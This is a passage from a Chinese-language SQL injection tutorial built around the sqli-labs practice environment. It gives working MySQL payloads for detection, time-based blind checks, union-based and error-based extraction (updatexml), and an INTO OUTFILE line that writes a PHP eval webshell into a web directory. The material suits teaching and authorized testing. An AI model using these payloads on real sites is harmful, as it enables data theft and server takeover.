0x2 sql注入基础知识
0x2.1 如何判断否存在sql注入
常见的判断:
1、get 单引号判断?id=1'
如果报错说明存在sql注入
例如我们实验室:
打开漏洞环境Less-1错误型GET单引号字符型注入
输入?id=1
显示正常
输入?id=1'
显示错误,所以就存在sql注入'
的url编码是%27
2、get and判断
输入?id=-1 and 1=1
正常
输入?id=-1'and 1=2
报错
如果报错,那就存在sql,在请求字符串或者id参数后面加入 '
单引号,是常见的一种发现是否存在sql注入的方法。
3、Or、xor判断or
xor
方法和and
方法一致。
4、sql运算符判断
输入?id=5-0
输入?id=5-1
输入?id=5+1
通过匹对获取到的内容是否一致,不一致代表存在sql注入,因为存在了你输入的payload运算执行;
5、通过sleep函数演示显示的形式进行判断
构造的payload
?id=1' and if(left(database(),1)='s',sleep(3),1)--+
*表示3秒后响应内容,这个大家可以通过实验环境测试看看~
6、服务端返回错误形式
错误直接回显在页面上
错误隐藏在页面源代码中
检测到错误跳转到另一个页面
返回HTTP错误代码500或重定向302
适当处理错误结果,常显示一个通用错误页面
7、其它方法…
0x2.2 了解post、get、编码
常用
'or and 1=1 #
'or and 1=1 –-+
#
是sql语句中的注释符;
+
在http请求中表示空格;
--
后面的语句相当于被注释掉,不执行后面的sql语句;
--+
代表闭合sql查询语句,如果没加,无法形成有效的mysql语句,这是sql注入中常见的巧妙运用。
在post参数中
要加空格符,直接输入空格服即可;用+
会被http请求转义为%2B
编码;
在get请求中
在get请求中如果有空格,需要用空格符编码%20
来替代,不然会请求报错;
如果用#
表示不提交#
后面的参数到服务端,但是转成%23
编码就可以提交过去;
常见URL编码
空格 %20
+%2b
<%3c
>%3e
更多参考http://www.w3school.com.cn/tags/html_ref_urlencode.html
或者工具查询http://tool.chinaz.com/tools/urlencode.aspx
神奇的编码可以进行各种绕过!
0x2.3 了解sql注入常用mysql函数
1、order by
该函数用于对结果集进行排序,主要用于猜字段。
例如我们在实验室less-1
输入?id=1
要确定它里面有多少个字段,就要用到order by了
例如输入?id=1' order by 3 --+
显示正常
再次输入?id=1' order by 4 --+
显示错误
所以的出,在?id=1
查看的这个表有3个字段
2、union
union在sql注入测试过程中,几乎经常用到,实验室例子:
?id=-1' union select 1,user(),database() --+
3、MID
SELECT MID(ColumnName, Start [, Length]) FROM TableName
4、LEFT(str,len)
返回字符串str的最左面len个字符
5、ASCII(str) =ORD
返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL
6、SUBSTR(str,pos,len)
从str中多少个字符开始,截取多少位
7、CAST
SELECT CAST(’12’ AS int) 将目标str转化为目标数据类型
8、IFNULL(expr1,expr2)
如果expr1不是NULL,IFNULL()返回expr1,否则它返回expr2
9、updatexml()
updatexml(1,concat(0x7e,user(),0x7e),1)
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误显示user()该函数。但显示出来的内容最多只有32个字符串;利用原理对他是对XML文档进行更新的函数;
语法:updatexml(目标xml文档,xml路径,更新的内容)
10、extractvalue()
extractvalue也是运用于报错sql注入;利用原理对XML文档进行查询的函数;
语法:extractvalue(目标xml文档,xml路径)
熟悉mysql常见的判断语句函数
参考文章http://www.runoob.com/mysql/mysql-functions.html
11、LOAD_FILE
可以利用该函数,进写入shell
用法:select load_file(‘file1’) into outfile ‘file2’
将file1的文件导入WEB目录file2的文件中进行访问!
例子:
?id=1’)) union select 1,2,’<?php @eval($_POST[“cmd”]);?>’ into outfile “/home/wwwroot/default/test.php”—+
细致使用参考文章:https://www.cnblogs.com/blacksunny/p/8060028.html
学习完以上基础知识我们来进行下一步实战实验